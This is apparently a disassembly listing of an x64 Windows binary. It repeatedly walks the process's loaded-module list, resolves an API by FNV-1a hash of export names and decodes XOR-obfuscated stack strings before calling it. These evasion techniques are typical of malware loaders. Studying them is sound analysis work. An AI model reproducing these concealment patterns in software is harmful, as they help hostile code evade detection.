movabs rax, 0x61c38b937c45748e
movdqa xmm1, xmmword [rbp + 0xfb0]
mov qword [rbp + 0xfa8], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19c0], rdx
lea rdx, [rbp + 0xfa0]
mov qword [rbp + 0x19c8], rcx
xor ecx, ecx
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19b8], rax
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0xfa0]
movdqa xmmword [rbp + 0xfa0], xmm0
movdqa xmmword [rbp + 0xfb0], xmm1
call rbx
lea rcx, [rbp + 0x14e0]
jmp 0x14005a0c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400591e7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400591e7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400591e2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400591c0
cmp r8d, 0x23a979e4
je 0x1400591ec
test r9d, r9d
jne 0x1400591a0
mov rax, qword [rax]
jmp 0x140059170
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1500]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140059221
mov r8, qword [rax]
movabs rax, 0x26fe3887f6f79bf
lea rdx, [rbp + 0x1260]
mov qword [rbp + 0x1260], rax
mov r9d, 0x1010
movabs rax, 0x70de808e7e4372dc
xor ecx, ecx
mov qword [rbp + 0x1268], rax
movabs rax, 0x2f191c954e726890
mov qword [rbp + 0x1270], rax
movabs rax, 0x871572dcde7a7490
mov qword [rbp + 0x1278], rax
movabs rax, 0xf230a993e53a688e
movdqa xmm1, xmmword [rbp + 0x1270]
mov qword [rbp + 0x1280], rax
movabs rax, 0x77d59e9218667494
mov qword [rbp + 0x1288], rax
movabs rax, 0x7e1e999e60c748a
mov qword [rbp + 0x1290], rax
movabs rax, 0xa852f9fcca6e11d2
mov qword [rbp + 0x1298], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19b8], rax
movabs rax, 0x4d786ffc2a5211fc
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0x1260]
mov qword [rbp + 0x19c0], rax
movabs rax, 0xf57a01fcf21e11fc
mov qword [rbp + 0x19c8], rax
movabs rax, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19d0], rax
movabs rax, 0x19bafdfc714611fc
mov qword [rbp + 0x19d8], rax
movabs rax, 0x628287fc8f6211fc
mov qword [rbp + 0x19e0], rax
movabs rax, 0xa852f9fcca6e11fc
movdqa xmmword [rbp + 0x1260], xmm0
movdqa xmm0, xmmword [rbp + 0x1280]
pxor xmm0, xmmword [rbp + 0x19d0]
movdqa xmmword [rbp + 0x1270], xmm1
movdqa xmm1, xmmword [rbp + 0x1290]
mov qword [rbp + 0x19e8], rax
pxor xmm1, xmmword [rbp + 0x19e0]
movdqa xmmword [rbp + 0x1290], xmm1
movdqa xmmword [rbp + 0x1280], xmm0
call rbx
lea rcx, [rbp + 0x1500]
jmp 0x14005a0c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140059437
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140059437
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140059432
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140059410
cmp r8d, 0x23a979e4
je 0x14005943c
test r9d, r9d
jne 0x1400593f0
mov rax, qword [rax]
jmp 0x1400593c0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1520]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140059471
mov r8, qword [rax]
movabs rax, 0x26fe3887f6f79bf
lea rdx, [rbp + 0x12a0]
mov qword [rbp + 0x12a0], rax
mov r9d, 0x1010
movabs rax, 0x70de808e7e4372dc
xor ecx, ecx
mov qword [rbp + 0x12a8], rax
movabs rax, 0x3d0d4f9245726890
mov qword [rbp + 0x12b0], rax
movabs rax, 0x9a0921d0976a7098
mov qword [rbp + 0x12b8], rax
movabs rax, 0xa662b49aa363638e
movdqa xmm1, xmmword [rbp + 0x12b0]
mov qword [rbp + 0x12c0], rax
movabs rax, 0x76d9939551237988
mov qword [rbp + 0x12c8], rax
movabs rax, 0x1ece295e1076792
mov qword [rbp + 0x12d0], rax
movabs rax, 0xa852f9fcca6e3f99
mov qword [rbp + 0x12d8], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19b8], rax
movabs rax, 0x4d786ffc2a5211fc
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0x12a0]
mov qword [rbp + 0x19c0], rax
movabs rax, 0xf57a01fcf21e11fc
mov qword [rbp + 0x19c8], rax
movabs rax, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19d0], rax
movabs rax, 0x19bafdfc714611fc
mov qword [rbp + 0x19d8], rax
movabs rax, 0x628287fc8f6211fc
mov qword [rbp + 0x19e0], rax
movabs rax, 0xa852f9fcca6e11fc
movdqa xmmword [rbp + 0x12a0], xmm0
movdqa xmm0, xmmword [rbp + 0x12c0]
pxor xmm0, xmmword [rbp + 0x19d0]
movdqa xmmword [rbp + 0x12b0], xmm1
movdqa xmm1, xmmword [rbp + 0x12d0]
mov qword [rbp + 0x19e8], rax
pxor xmm1, xmmword [rbp + 0x19e0]
movdqa xmmword [rbp + 0x12d0], xmm1
movdqa xmmword [rbp + 0x12c0], xmm0
call rbx
lea rcx, [rbp + 0x1520]
jmp 0x14005a0c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140059687
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140059687
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140059682
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140059660
cmp r8d, 0x23a979e4
je 0x14005968c
test r9d, r9d
jne 0x140059640
mov rax, qword [rax]
jmp 0x140059610
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1540]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400596c1
mov r8, qword [rax]
movabs rax, 0x26fe3887f6f79bf
lea rdx, [rbp + 0x12e0]
mov qword [rbp + 0x12e0], rax
mov r9d, 0x1010
movabs rax, 0x70de808e7e4372dc
xor ecx, ecx
mov qword [rbp + 0x12e8], rax
movabs rax, 0x2e1d1b994e726890
mov qword [rbp + 0x12f0], rax
movabs rax, 0x871572dcde7a7488
mov qword [rbp + 0x12f8], rax
movabs rax, 0xf230a993e53a688e
movdqa xmm1, xmmword [rbp + 0x12f0]
mov qword [rbp + 0x1300], rax
movabs rax, 0x77d59e9218667494
mov qword [rbp + 0x1308], rax
movabs rax, 0x7e1e999e60c748a
mov qword [rbp + 0x1310], rax
movabs rax, 0xa852f9fcca6e11d2
mov qword [rbp + 0x1318], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19b8], rax
movabs rax, 0x4d786ffc2a5211fc
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0x12e0]
mov qword [rbp + 0x19c0], rax
movabs rax, 0xf57a01fcf21e11fc
mov qword [rbp + 0x19c8], rax
movabs rax, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19d0], rax
movabs rax, 0x19bafdfc714611fc
mov qword [rbp + 0x19d8], rax
movabs rax, 0x628287fc8f6211fc
mov qword [rbp + 0x19e0], rax
movabs rax, 0xa852f9fcca6e11fc
movdqa xmmword [rbp + 0x12e0], xmm0
movdqa xmm0, xmmword [rbp + 0x1300]
pxor xmm0, xmmword [rbp + 0x19d0]
movdqa xmmword [rbp + 0x12f0], xmm1
movdqa xmm1, xmmword [rbp + 0x1310]
mov qword [rbp + 0x19e8], rax
pxor xmm1, xmmword [rbp + 0x19e0]
movdqa xmmword [rbp + 0x1310], xmm1
movdqa xmmword [rbp + 0x1300], xmm0
call rbx
lea rcx, [rbp + 0x1540]
jmp 0x14005a0c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400598d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400598d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400598d2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400598b0
cmp r8d, 0x23a979e4
je 0x1400598dc
test r9d, r9d
jne 0x140059890
mov rax, qword [rax]
jmp 0x140059860
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1560]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140059911
mov r8, qword [rax]
movabs rdx, 0x4d786ffc2a5211fc
movabs rcx, 0xf57a01fcf21e11fc
mov qword [rbp + 0xf90], rdx
movabs rax, 0x5168b49370617fa9
mov qword [rbp + 0xf80], rax
mov r9d, 0x1010
mov qword [rbp + 0xf98], rcx
movabs rax, 0x61c38b937c45748e
movdqa xmm1, xmmword [rbp + 0xf90]
mov qword [rbp + 0xf88], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19c0], rdx
lea rdx, [rbp + 0xf80]
mov qword [rbp + 0x19c8], rcx
xor ecx, ecx
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19b8], rax
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0xf80]
movdqa xmmword [rbp + 0xf80], xmm0
movdqa xmmword [rbp + 0xf90], xmm1
call rbx
lea rcx, [rbp + 0x1560]
jmp 0x14005a0c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140059a67
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140059a67
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140059a62
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140059a40
cmp r8d, 0x23a979e4
je 0x140059a6c
test r9d, r9d
jne 0x140059a20
mov rax, qword [rax]
jmp 0x1400599f0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1640]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140059aa1
mov r8, qword [rax]
movabs rax, 0x26fe3887f6f79bf
lea rdx, [rbp + 0x1320]
mov qword [rbp + 0x1320], rax
mov r9d, 0x1010
movabs rax, 0x70de808e7e4372dc
xor ecx, ecx
mov qword [rbp + 0x1328], rax
movabs rax, 0x2f191c954e726890
mov qword [rbp + 0x1330], rax
movabs rax, 0x871572dcde7a7490
mov qword [rbp + 0x1338], rax
movabs rax, 0xf230a993e53a688e
movdqa xmm1, xmmword [rbp + 0x1330]
mov qword [rbp + 0x1340], rax
movabs rax, 0x77d59e9218667494
mov qword [rbp + 0x1348], rax
movabs rax, 0x7e1e999e60c748a
mov qword [rbp + 0x1350], rax
movabs rax, 0xa852f9fcca6e11d2
mov qword [rbp + 0x1358], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19b8], rax
movabs rax, 0x4d786ffc2a5211fc
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0x1320]
mov qword [rbp + 0x19c0], rax
movabs rax, 0xf57a01fcf21e11fc
mov qword [rbp + 0x19c8], rax
movabs rax, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19d0], rax
movabs rax, 0x19bafdfc714611fc
mov qword [rbp + 0x19d8], rax
movabs rax, 0x628287fc8f6211fc
mov qword [rbp + 0x19e0], rax
movabs rax, 0xa852f9fcca6e11fc
movdqa xmmword [rbp + 0x1320], xmm0
movdqa xmm0, xmmword [rbp + 0x1340]
pxor xmm0, xmmword [rbp + 0x19d0]
movdqa xmmword [rbp + 0x1330], xmm1
movdqa xmm1, xmmword [rbp + 0x1350]
mov qword [rbp + 0x19e8], rax
pxor xmm1, xmmword [rbp + 0x19e0]
movdqa xmmword [rbp + 0x1350], xmm1
movdqa xmmword [rbp + 0x1340], xmm0
call rbx
lea rcx, [rbp + 0x1640]
jmp 0x14005a0c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140059cb7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140059cb7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140059cb2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140059c90
cmp r8d, 0x23a979e4
je 0x140059cbc
test r9d, r9d
jne 0x140059c70
mov rax, qword [rax]
jmp 0x140059c40
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1580]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140059cf1
mov r8, qword [rax]
movabs rax, 0x26fe3887f6f79bf
lea rdx, [rbp + 0x1360]
mov qword [rbp + 0x1360], rax
mov r9d, 0x1010
movabs rax, 0x70de808e7e4372dc
xor ecx, ecx
mov qword [rbp + 0x1368], rax
movabs rax, 0x3d0d4f9245726890
mov qword [rbp + 0x1370], rax
movabs rax, 0x9a0921d0976a7098
mov qword [rbp + 0x1378], rax
movabs rax, 0xa662b49aa363638e
movdqa xmm1, xmmword [rbp + 0x1370]
mov qword [rbp + 0x1380], rax
movabs rax, 0x76d9939551237988
mov qword [rbp + 0x1388], rax
movabs rax, 0x1ece295e1076792
mov qword [rbp + 0x1390], rax
movabs rax, 0xa852f9fcca6e3f99
mov qword [rbp + 0x1398], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19b8], rax
movabs rax, 0x4d786ffc2a5211fc
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0x1360]
mov qword [rbp + 0x19c0], rax
movabs rax, 0xf57a01fcf21e11fc
mov qword [rbp + 0x19c8], rax
movabs rax, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19d0], rax
movabs rax, 0x19bafdfc714611fc
mov qword [rbp + 0x19d8], rax
movabs rax, 0x628287fc8f6211fc
mov qword [rbp + 0x19e0], rax
movabs rax, 0xa852f9fcca6e11fc
movdqa xmmword [rbp + 0x1360], xmm0
movdqa xmm0, xmmword [rbp + 0x1380]
pxor xmm0, xmmword [rbp + 0x19d0]
movdqa xmmword [rbp + 0x1370], xmm1
movdqa xmm1, xmmword [rbp + 0x1390]
mov qword [rbp + 0x19e8], rax
pxor xmm1, xmmword [rbp + 0x19e0]
movdqa xmmword [rbp + 0x1390], xmm1
movdqa xmmword [rbp + 0x1380], xmm0
call rbx
lea rcx, [rbp + 0x1580]
jmp 0x14005a0c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140059f07
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140059f07
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140059f02
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140059ee0
cmp r8d, 0x23a979e4
je 0x140059f0c
test r9d, r9d
jne 0x140059ec0
mov rax, qword [rax]
jmp 0x140059e90
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1740]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140059f41
mov r8, qword [rax]
movabs rax, 0x26fe3887f6f79bf
lea rdx, [rbp + 0x13a0]
mov qword [rbp + 0x13a0], rax
mov r9d, 0x1010
movabs rax, 0x70de808e7e4372dc
xor ecx, ecx
mov qword [rbp + 0x13a8], rax
movabs rax, 0x2e1d1b994e726890
mov qword [rbp + 0x13b0], rax
movabs rax, 0x871572dcde7a7488
mov qword [rbp + 0x13b8], rax
movabs rax, 0xf230a993e53a688e
movdqa xmm1, xmmword [rbp + 0x13b0]
mov qword [rbp + 0x13c0], rax
movabs rax, 0x77d59e9218667494
mov qword [rbp + 0x13c8], rax
movabs rax, 0x7e1e999e60c748a
mov qword [rbp + 0x13d0], rax
movabs rax, 0xa852f9fcca6e11d2
mov qword [rbp + 0x13d8], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19b8], rax
movabs rax, 0x4d786ffc2a5211fc
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0x13a0]
mov qword [rbp + 0x19c0], rax
movabs rax, 0xf57a01fcf21e11fc
mov qword [rbp + 0x19c8], rax
movabs rax, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19d0], rax
movabs rax, 0x19bafdfc714611fc
mov qword [rbp + 0x19d8], rax
movabs rax, 0x628287fc8f6211fc
mov qword [rbp + 0x19e0], rax
movabs rax, 0xa852f9fcca6e11fc
movdqa xmmword [rbp + 0x13a0], xmm0
movdqa xmm0, xmmword [rbp + 0x13c0]
pxor xmm0, xmmword [rbp + 0x19d0]
movdqa xmmword [rbp + 0x13b0], xmm1
movdqa xmm1, xmmword [rbp + 0x13d0]
mov qword [rbp + 0x19e8], rax
pxor xmm1, xmmword [rbp + 0x19e0]
movdqa xmmword [rbp + 0x13d0], xmm1
movdqa xmmword [rbp + 0x13c0], xmm0
call rbx
lea rcx, [rbp + 0x1740]
call fcn.1400096e0
lea rcx, [rbp + 0x178]
call fcn.140042cd0
mov r15d, 0xdead
jmp 0x140057def
lea rcx, [rbp + 0x6b0]
call fcn.14004a4f0
lea rcx, [rbp + 0xe80]
call fcn.1400096e0
cmp dword [rbp + 0x58], 0
jne 0x14005a12f
cmp dword [rbp + 0x68], 0
jne 0x14005a12f
cmp dword [rbp + 0x48], 0
jne 0x14005a12f
cmp dword [rbp + 0x78], 0
jne 0x14005a12f
jmp 0x140057e3f
xor eax, eax
jmp 0x140057e97
mov ecx, 6
mov dword [rbp + 0x78], edi
call fcn.140099da4
int3
call fcn.1400ca484
int3
mov ecx, eax
call fcn.140099d68
int3
mov ecx, eax
call fcn.140099d68
int3
mov ecx, eax
call fcn.140099d68
int3
mov ecx, eax
call fcn.140099d68
int3
mov ecx, eax
call fcn.140099d68
int3
call fcn.1400c88c8
int3
mov ecx, eax
call fcn.140099d68
int3
mov ecx, 6
mov dword [rbp + 0x58], edi
call fcn.140099da4
int3
mov ecx, 6
mov dword [rbp + 0x68], edi
call fcn.140099da4
int3
mov ecx, 6
mov dword [rbp + 0x48], edi
call fcn.140099da4
int3
mov ecx, r15d
call fcn.140099da4
int3